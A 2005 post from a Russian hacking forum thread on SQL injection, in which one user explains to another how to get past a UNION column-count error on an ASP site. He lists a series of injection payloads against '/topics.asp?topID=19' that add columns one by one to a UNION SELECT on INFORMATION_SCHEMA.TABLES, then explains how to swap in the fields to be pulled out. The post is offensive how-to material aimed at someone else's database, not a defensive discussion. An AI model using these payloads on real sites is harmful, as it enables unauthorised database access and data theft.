Тема: Sql Injection
Показать сообщение отдельно

  #10  
Старый 08.05.2005, 15:06
Trinux
Познавший АНТИЧАТ
Регистрация: 26.11.2004
Сообщений: 1,149
Провел на форуме:
941818

Репутация: 569


По умолчанию

Цитата:
Сообщение от adler  
хм а у меня такая проблема:

/topics.asp?topID=19 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

вместо ошибки с названием первой таблицы возвращает:

All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

Ктонибудь знает как с этим бороться?
SQL (в дамнном случае как я понял MS) говорит о том что в 2-х селектах между UNION разное количество полей достоваемых, а должно быть одинаковое. На число первых тыповлиять не можешь. а вот на число второго SELECT`а можешь. Делаешь:

/topics.asp?topID=19 UNION SELECT 1 FROM INFORMATION_SCHEMA.TABLES--
потом
/topics.asp?topID=19 UNION SELECT 1,2 FROM INFORMATION_SCHEMA.TABLES--
потом
/topics.asp?topID=19 UNION SELECT 1,2,3 FROM INFORMATION_SCHEMA.TABLES--
потом
/topics.asp?topID=19 UNION SELECT 1,2,3,4 FROM INFORMATION_SCHEMA.TABLES--

и так далее, пока не получишь результата. Как увидешь цифарки на экране подставляй в запрос вместо них поля, которые хочешь видеть. И все.
 
Ответить с цитированием